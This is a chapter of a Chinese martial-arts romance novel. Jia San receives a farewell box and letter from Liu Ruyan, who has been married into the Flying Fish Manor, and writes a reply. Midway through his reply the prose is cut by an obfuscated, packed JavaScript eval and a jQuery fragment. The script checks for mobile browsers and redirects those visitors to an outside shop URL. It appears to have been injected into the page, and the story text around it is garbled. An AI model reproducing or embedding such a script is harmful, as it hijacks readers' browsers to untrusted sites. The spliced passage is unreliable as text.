话说沈玉郎走后,山庄里的秋意一日深似一日。霜降那日清晨,贾三推窗一看,庭院里的青石板被薄霜覆了一层,白惨惨的,似是谁趁夜撒了一地盐。那棵被摘光了果子的老柿子树上,最后一片枯叶也落了,光秃秃的枝丫伸向灰蒙蒙的天,如同一只摊开的、什么也捞不着的手。
自从上回寄出那封只有四个字的信,他已有些时日没有收到柳如烟的来信。铜锁每日照例来磨墨,墨磨好了便倒进小瓷碟里晾着,贾三每日照例在廊下坐着,茶从热放到凉,从凉放到冷,铜锁便收走旧的换新的,新的又放凉,如此循环。两人都不提信的事,只是铜锁发现,贾三近来啃柿饼啃得愈发勤了,每回啃完了便把油纸叠好,压在枕头底下。
这日午后,贾三正在廊下打盹,梦见自己挑着扁担在村口叫卖,王寡妇掀开胭脂盒子闻了闻,说这胭脂是假的。他正要辩解,忽然被一阵脚步声惊醒。睁眼一看,只见铜锁领着一个侍女模样的姑娘走进院来,那姑娘不过十五六岁,瓜子脸,穿一身月白衫裙,头上挽着双鬟,眼睛红红的,好像刚刚哭过。手里捧着只乌木小匣,进了院门便低头行礼,声音带着几分怯意。
“奴婢是柳小姐房里的人。小姐命奴婢将此匣亲手交予贾大侠,说,一定要亲手。”
贾三接过木匣,掂了掂,很轻。因问:“你家小姐可有什么话?”
那侍女摇了摇头,嘴唇动了动,像是想说什么,又咽了回去。铜锁端过来一盏温茶放在她手边,那侍女低头谢过,捧在手里也不喝,只是拿指甲一下一下地划着盏沿。半晌,眼眶便红了,声音越来越细:“小姐是昨日出阁的,嫁的是飞鱼庄白庄主的内侄,白庄主叫这桩亲事‘亲上加亲’。小姐从头到尾没有掉一滴泪,只吩咐奴婢把这匣子送出来。奴婢出来时,看见她窗前那棵老桂花树,不知被什么人连夜砍了,枝枝叶叶散了一地,都是花。”
贾三托着木匣的那只手微微收紧了,指节抵在雕着云纹的匣盖上,泛出青白的颜色。他的嘴唇动了动,可喉咙里像是被什么东西堵住了。他想起两个多月前头一回收到她的信时,她在信里说府上的桂花闷在墙里头,香得发苦。如今树也砍了,花也没了,连苦都不肯留了。
铜锁把那盏温茶又往里推了推。他站在贾三身后,看见那个匣子上雕着的云纹,没有作声,只是听见“飞鱼庄”“白庄主”几个字时,茶盘上的盖碗轻轻磕了一下。他往后退了半步,把自己藏在廊柱的阴影里。
一时侍女告辞,走到院门口又回头福了一礼:“小姐还有一句话,她说,那些信不必回了。”
贾三没有应声。他只是捧着木匣,慢慢坐回廊下。庭院里,秋风又起,将地上的枯叶卷起来又抛下,抛下又卷起来,仿若在反复试一件永远也穿不回的旧衣裳。
他打开木匣。
匣中铺着一层素绢,绢上搁着几样东西。最上头是一张叠得齐齐整整的信笺,信笺下是一缕用红丝线系着的青丝,再下面是一叠他再熟悉不过的、带着淡淡桂花味的油纸。贾三把油纸一层一层地展开,最旧的那张,上头还留着糯米粉的指印,是他头一回从厨房里偷桂花糕时蹭上去的。他把油纸重新叠好,压回匣底,然后将那封折了又折、没有封口的信笺拿到当风处展开。
“三哥:
当你看到这封信时,我已经在去飞鱼庄的路上了。父亲说这是门当户对的亲事,白庄主说这是亲上加亲的良缘,没有人问我去不去。我只问了一句,嫁过去之后,还能不能给归真山庄写信。父亲说不能,白庄主说从前写的那些,也要烧掉。我没有争辩,回到房里,把窗台下那棵桂花树上最后几朵摘了下来,和那些你寄来的油纸放在一处。砍树的人是天没亮时来的,树倒了以后,满院子都是香的。
你曾来信问我,茅房的墙根当真能听到高人对话吗。我没有回答你,现在我可以告诉你了,听不到的。我在祠堂后面蹲了好几个晚上,只听见老鼠啃蜡烛,还有更夫打梆子。那半句顺口溜,大概真的是你自己想来的。
你上回说你要回黑风岭的柿子林去蹲着,如果有一天我还能去找你,就去那里。我把这句话默念了这么多时日,不知道还能不能记住。这只匣子我让侍女带给你,里头是你寄来的油纸,都叠好的,一张没少。还有一封信。头发是昨夜趁侍女不注意自己绞的,绞得有些歪,你别笑我。
你不是大侠,可这些日子以来,只有你一个人。
——如烟,拜别。”
贾三坐在廊下,把那封信从头到尾看了两遍。风把他膝上那张油纸吹起来一角,他伸手轻轻按住,似是按住了一只将要飞走的蝴蝶。他扬起头望了望围墙外头那片灰蒙蒙的天,又把头垂了下去,伸手往嘴里塞了一块柿饼,柿饼很涩,他嚼着嚼着,忽然剧烈地咳嗽起来,有什么东西堵在胸口,堵了太久,终于堵不住了。
铜锁夺过他手里的柿饼放在桌上。他没有抬头,也没有听见铜锁的脚步声。
铜锁把桌上那碟啃了一半的柿饼收进食盒,又将贾三膝上的油纸小心地叠好,压在小木匣最底层。他的手碰到那缕用红丝线系着的青丝时顿了一下,然后不动声色地把丝线被风刮松的地方重新系了一遍。
温伯安当天在《归真日录》中写道:“是日,盟主府侍女来,携一乌木小匣。大侠启匣而观,默然良久。庭中落叶满地,大侠独坐廊下,不言不动者竟日。老仆远望之,不敢近。”
贾三那天在廊下从午后坐到黄昏。夕阳把他的影子拉得很长很长,从走廊这头一直拖到那头。铜锁来换茶时,他忽然开口了:“铜锁,你帮我想一句话,要真话。”
铜锁端着热茶的手微微一顿,把茶盏搁在他手边,低声道:“话不是想出来的,憋了太久的那些,就是真话。”
贾三沉默良久。然后他摊开那张从木匣里取出的、还带着桂花味的素笺,让铜锁替他代笔。他说得极慢,说着说着,忽然把信夺过来撕了,说:“这句不是真话。”又说了一句,又撕了。再说,再撕,如是者三四回。铜锁蹲在廊下替他捡地上的碎纸,看见那些碎片边角全被汗浸得发潮,上面的字扭得不成样子。
灯下终于誊出一个二人都不再撕的定稿。字迹比平日更慢,却更稳,没有一个字出格,也没有一个字往回缩。
“如烟姑娘:
信收到了,头发收好了,油纸也收好了。头一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830809|211319||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回你寄桂花时用的纸还在,只是桂花味散得差不多了。
我从前挑担子赶集回来,霜天里走百十里,脚上的冻疮到春天才结痂。现在这山庄每天有人给我续热茶,有狐裘,炕也烧得暖。可我身上的冻疮反倒又犯了,不在脚上,在别处。
祠堂墙根有老鼠啃蜡烛,集市街边有野狗翻馊水桶,你听见的那些是好的。黑风岭那条小河沟确实不宽,我下回给你画张图,图上有棵歪脖子柿子树,树根底下有块不硌人的石头。你到了便坐那块石头。
——三哥。字是铜锁替我写的,话是我的。”
铜锁把信叠好,封口用了三滴蜜蜡,他把信交给信使时,忽然从袖口里摸出一个极小的粗陶瓶,用竹筒扎好,附在信旁。瓶里是碾碎的金疮药末,就是苏牧羊留给沈玉郎、沈玉郎临行前又分一半给他的那瓶。
贾三把乌木小匣放进枕头底下时,木匣底下压着的东西硌到了他的手,是那块钱四海留下的素木木牌,背面用指甲划了个“愁”字。他把木牌翻过来,端详了片刻,然后把它和柳如烟的头发一并放进匣中。
数日后,铜锁收到消息,那瓶金疮药和信一起被送到了飞鱼庄西墙下,那棵老桂花树被砍倒后树根还在土里,有人在树桩上放了一碟桂花糕,糕上的油纸被风刮走了,只留下几粒糯米粉的白印。附近当差的小厮说,新少奶奶从娘家带去的旧书信都依白庄主的吩咐当众焚毁了,烧信时少奶奶的侍女端来一碗蜜羹请她润喉,她没喝,只从袖子里摸出一块干透的柿饼,在火光里慢慢撕开花瓣似的痂。
铜锁听着,也不言语,只是把这话咽进了肚子里,然后照例去厨房给贾三端茶。
又过了些时日,铜锁照例下山采买茶叶。路过镇上茶馆时,听见说书先生正拍着惊堂木讲新段子,说的是“武林盟主嫁千金,太虚解者失红颜”。台下茶客们听得如痴如醉,有人拍桌子叫好,有人唏嘘不已,还有人往台上扔铜板,喊着“再来一段”。
只有靠窗的角落里,坐着一个戴斗笠的灰袍人,他面前的茶碗已经空了,碗底压着两枚铜板。铜锁经过他身边时,听见他说了一句:“敬那些一辈子没被人叫过大侠、却每天都把自己该做的事做好的人。”然后把碗底那两枚铜板翻过来,正面朝上,压在茶碗下面。
——
附:柳如烟嫁奁清单
后武林盟档案室清理旧档,于丙字库房积灰最厚的角落翻出柳如烟嫁奁清单一份。清单正页录:金凤冠一顶,翡翠镯两对,珍珠链四挂,锦缎二十匹,田契、矿契各一纸,另有“杂物一箱”未列细目。清单背面另有数行字,非账房笔迹,纤细微斜,墨色与贾三所收书信全同:
“三哥,杂箱里搁了四块桂花糕,是今天早上新蒸的,我偷不出来,是侍女帮我去厨房买的,油纸还是那张油纸,只多了一层。”
清单边角另有一行后世整理者所加的小注:“查武林盟与飞鱼庄联姻档案(甲子年卷),柳氏嫁奁登记当晚,庄主白不群曾命人将‘杂物一箱’整箱抬入书房,半夜方出。翌日侍从打扫,唯见火盆中新添纸灰若干,所焚何物,未留目击。”此注未经盖章,夹于原档与封套之间的夹层。